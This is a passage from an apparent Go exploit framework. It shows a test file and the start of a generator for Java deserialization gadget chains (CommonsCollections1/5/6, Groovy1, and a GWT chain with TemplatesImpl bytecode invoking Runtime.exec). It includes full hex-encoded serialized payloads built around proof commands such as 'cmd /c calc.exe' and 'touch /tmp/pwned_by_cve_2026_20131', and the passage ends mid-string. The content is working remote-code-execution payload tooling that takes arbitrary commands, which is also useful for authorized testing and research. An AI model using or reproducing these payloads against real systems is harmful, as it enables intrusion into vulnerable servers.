    "content": "// Tests for the Java gadgets, ALL GADGETS MUST HAVE A TEST\npackage java\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\nfunc TestPackBigFloat(t *testing.T) {\n\tgot := transform.PackBigFloat32(0.75)\n\tif fmt.Sprintf(\"%02x\", got) != \"3f400000\" {\n\t\tt.Fatalf(\"Invalid PackBigFloat : %02x\", got)\n\t}\n}\n\nfunc TestCreateGWT(t *testing.T) {\n\tos.Setenv(\"DEBUGMODE\", \"1\")\n\twant := \"aced00057704000000017400086772696454797065737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00024c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b78700000000000000000757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000033fcafebabe00000034001d0100044576696c070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700030100083c636c696e69743e0100032829560100116a6176612f6c616e672f52756e74696d6507000701000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c0009000a0a0008000b010022746f756368202f746d702f70776e65645f62795f6376655f323032365f323031333108000d01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c000f00100a000800110100063c696e69743e0c001300060a000400140100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0700180100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010004436f646501000a457863657074696f6e730021000200040000000000040008000500060001001b00000016000200000000000ab8000c120eb6001257b1000000000001001300060001001b0000001100010001000000052ab70015b1000000000001001600170002001b0000000d0000000300000001b100000000001c000000040001001900010016001a0002001b0000000d0000000400000001b100000000001c00000004000100190000707400044576696c707701007871007e000e78\"\n\tgot, ok := CreateGWT(\"touch /tmp/pwned_by_cve_2026_20131\")\n\n\tif !ok || fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"Invalid CreateGWT output... got (val, len: %d): %q  got (hex): %02x want(hex, hexlen: %d): %s\\n\", len(got)*2, got, got, len(want), want)\n\t}\n}\n\nfunc TestCreateGroovy1(t *testing.T) {\n\twant := \"aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002c6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e766572746564436c6f7375726510233719f715dd1b0200014c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b7872002d6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e76657273696f6e48616e646c65721023371ad601bc1b0200024c000864656c65676174657400124c6a6176612f6c616e672f4f626a6563743b4c000b68616e646c6543616368657400284c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61703b7870737200296f72672e636f6465686175732e67726f6f76792e72756e74696d652e4d6574686f64436c6f73757265110e3e848fbdce480200014c00066d6574686f6471007e00097872001367726f6f76792e6c616e672e436c6f737572653ca0c76616126c5a0200084900096469726563746976654900196d6178696d756d4e756d6265724f66506172616d657465727349000f7265736f6c766553747261746567794c000362637774003c4c6f72672f636f6465686175732f67726f6f76792f72756e74696d652f63616c6c736974652f426f6f6c65616e436c6f73757265577261707065723b4c000864656c656761746571007e000b4c00056f776e657271007e000b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b4c000a746869734f626a65637471007e000b78700000000000000002000000007074000f636d64202f632063616c632e65786571007e0013757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000002767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078707672000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e000978707074000765786563757465737200266a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d61706499de129d87293d03000349000b7365676d656e744d61736b49000c7365676d656e7453686966745b00087365676d656e74737400315b4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d6170245365676d656e743b78700000000f0000001c757200315b4c6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e743b52773f41329b39740200007870000000107372002e6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e741f364c905893293d02000146000a6c6f6164466163746f72787200286a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b6655a82c2cc86aeb0200014c000473796e6374002f4c6a6176612f7574696c2f636f6e63757272656e742f6c6f636b732f5265656e7472616e744c6f636b2453796e633b7870737200346a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b244e6f6e6661697253796e63658832e7537bbf0b0200007872002d6a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b2453796e63b81ea294aa445a7c020000787200356a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e416273747261637451756575656453796e6368726f6e697a65726655a843753f52e30200014900057374617465787200366a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e41627374726163744f776e61626c6553796e6368726f6e697a657233dfafb9ad6d6fa90200007870000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f400000707078740008656e747279536574767200126a6176612e6c616e672e4f7665727269646500000000000000000000007870\"\n\tgot, ok := CreateGroovy1(\"cmd /c calc.exe\")\n\n\tif !ok || fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"Invalid CreateGroovy1 output... got (val, len: %d): %q  got (hex): %02x want(hex, hexlen: %d): %s\\n\", len(got)*2, got, got, len(want), want)\n\t}\n}\n\nfunc TestCreateCommonsCollections6(t *testing.T) {\n\twant := \"aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000f636d64202f632063616c632e657865740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878\"\n\tgot, ok := CreateCommonsCollections6(\"cmd\", \"/c calc.exe\")\n\n\tif !ok || fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"Invalid CreateCommonsCollections6 output... got (val, len: %d): %q  got (hex): %02x want(hex, hexlen: %d): %s\\n\", len(got)*2, got, got, len(want), want)\n\t}\n}\n\nfunc TestCreateCommonsCollections5(t *testing.T) {\n\twant := \"aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000005174002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a6563747371007e000b0000003371007e000d71007e000e71007e000f7371007e000b0000002274001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e001a78737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e003200000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00327371007e002b7571007e002f00000002707571007e002f00000000740006696e766f6b657571007e003200000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002f7371007e002b757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000f636d64202f632063616c632e657865740004657865637571007e00320000000171007e00377371007e0027737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878\"\n\tgot, ok := CreateCommonsCollections5(\"cmd\", \"/c calc.exe\")\n\n\tif !ok || fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"Invalid CreateCommonsCollections5 output... got (val, len: %d): %q  got (hex): %02x want(hex, hexlen: %d): %s\\n\", len(got)*2, got, got, len(want), want)\n\t}\n}\n\nfunc TestCreateCommonsCollections1(t *testing.T) {\n\twant := \"aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000f636d64202f632063616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a\"\n\tgot, ok := CreateCommonsCollections1(\"cmd\", \"/c calc.exe\")\n\tif !ok || fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"Invalid CreateCommonsCollections1 output... got (val, len: %d): %q  got (hex): %02x want(hex, hexlen: %d): %s\\n\", len(got)*2, got, got, len(want), want)\n\t}\n}\n"
  },
  {
    "path": "java/gadgets.go",
    "content": "/*\nThe Java analog to the dotnet deserialization generation package.\n\nThis allows for the creation of java deserialization payload gadgets in much the same way as we do for the dotnet package. This is done using a number of structs and methods to construct the \"records\" in accordance with the java spec: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#10258\n\nThis is not a comprehensive reproduction of the java serialization protocol but only as-needed given what gadgets we have reproduced thus far.\n\nUsage of these gadget generation functions could look like this:\n\n\tgadget, ok := CreateGroovy1(\"cmd.exe /c whoami>C:\\\\temp\\\\pr00f.txt\")\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// use gadget var...\n*/\npackage java\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// Generates a gadget for use in GWT-based deserialization payloads.\n// Encode using EncodeBase64GWT, not enforced here.\nfunc CreateGWT(command string) ([]byte, bool) {\n\tobjects := []TCContent{}\n\tobjects = append(objects, TCBlockData{Value: \"\\x00\\x00\\x00\\x01\", OmitEnd: true})\n\tobjects = append(objects, TCString{Value: \"gridType\"})\n\n\trootObject := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.PriorityQueue\",\n\t\t\tFlags:            0x03, // SC_SERIALIZABLE|SC_WRITE_METHOD\n\t\t\tSerialVersionUID: []byte{0x94, 0xda, 0x30, 0xb4, 0xfb, 0x3f, 0x82, 0xb1},\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"size\"},\n\t\t\t\tObjectField{Name: \"comparator\", Value: \"Ljava/util/Comparator;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\trootObject.TCContents = append(rootObject.TCContents, TCInteger{Value: 2}) // field: \"size\"\n\n\tcomparatorObject := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.beanutils.BeanComparator\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xe3, 0xa1, 0x88, 0xea, 0x73, 0x22, 0xa4, 0x48},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{Name: \"comparator\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x02}}},\n\t\t\t\tObjectField{Name: \"property\", Value: \"Ljava/lang/String;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tcomparableComparatorObject := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.comparators.ComparableComparator\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xfb, 0xf4, 0x99, 0x25, 0xb8, 0x6e, 0xb1, 0x37},\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\t// nest level 2 classdata, terminates here\n\tcomparatorObject.TCContents = append(comparatorObject.TCContents, comparableComparatorObject)          // comparator.field: \"comparator\"\n\tcomparatorObject.TCContents = append(comparatorObject.TCContents, TCString{Value: \"outputProperties\"}) // comparator.field: \"property\"\n\n\t// nest level 1\n\trootObject.TCContents = append(rootObject.TCContents, comparatorObject) // rootObject.field: \"comparator\"\n\n\t// @objectAnnotations: // nest level 2\n\trootObject.TCContents = append(rootObject.TCContents, TCBlockData{Value: \"\\x00\\x00\\x00\\x03\", OmitEnd: true}) // rootObject.objectAnnotations[0]\n\n\ttemplatesImplObject := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n\t\t\tFlags:            0x03,\n\t\t\tSerialVersionUID: []byte{0x09, 0x57, 0x4f, 0xc1, 0x6e, 0xac, 0xab, 0x33},\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"_indentNumber\"},\n\t\t\t\tIntegerField{Name: \"_transletIndex\"},\n\t\t\t\tArrayField{Name: \"_bytecodes\", Value: \"[[B\"},\n\t\t\t\tArrayField{Name: \"_class\", Value: \"[Ljava/lang/Class;\"},\n\t\t\t\tObjectField{Name: \"_name\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}},\n\t\t\t\tObjectField{Name: \"_outputProperties\", Value: \"Ljava/util/Properties;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tclassData := \"\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x34\\x00\\x1d\\x01\\x00\\x04\\x45\\x76\\x69\\x6c\\x07\\x00\\x01\\x01\\x00\\x40\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x72\\x75\\x6e\\x74\\x69\\x6d\\x65\\x2f\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x07\\x00\\x03\\x01\\x00\\x08\\x3c\\x63\\x6c\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x11\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x07\\x00\\x07\\x01\\x00\\x0a\\x67\\x65\\x74\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x01\\x00\\x15\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x3b\\x0c\\x00\\x09\\x00\\x0a\\x0a\\x00\\x08\\x00\\x0b\\x01\" +\n\t\ttransform.PackBigInt16(len(command)) +\n\t\tcommand +\n\t\t\"\\x08\\x00\\x0d\\x01\\x00\\x04\\x65\\x78\\x65\\x63\\x01\\x00\\x27\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x3b\\x0c\\x00\\x0f\\x00\\x10\\x0a\\x00\\x08\\x00\\x11\\x01\\x00\\x06\\x3c\\x69\\x6e\\x69\\x74\\x3e\\x0c\\x00\\x13\\x00\\x06\\x0a\\x00\\x04\\x00\\x14\\x01\\x00\\x09\\x74\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x01\\x00\\x72\\x28\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x5b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x29\\x56\\x01\\x00\\x39\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x07\\x00\\x18\\x01\\x00\\xa6\\x28\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x64\\x74\\x6d\\x2f\\x44\\x54\\x4d\\x41\\x78\\x69\\x73\\x49\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x3b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x29\\x56\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\\x0a\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x73\\x00\\x21\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x08\\x00\\x05\\x00\\x06\\x00\\x01\\x00\\x1b\\x00\\x00\\x00\\x16\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x0a\\xb8\\x00\\x0c\\x12\\x0e\\xb6\\x00\\x12\\x57\\xb1\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x13\\x00\\x06\\x00\\x01\\x00\\x1b\\x00\\x00\\x00\\x11\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x05\\x2a\\xb7\\x00\\x15\\xb1\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x16\\x00\\x17\\x00\\x02\\x00\\x1b\\x00\\x00\\x00\\x0d\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\xb1\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x04\\x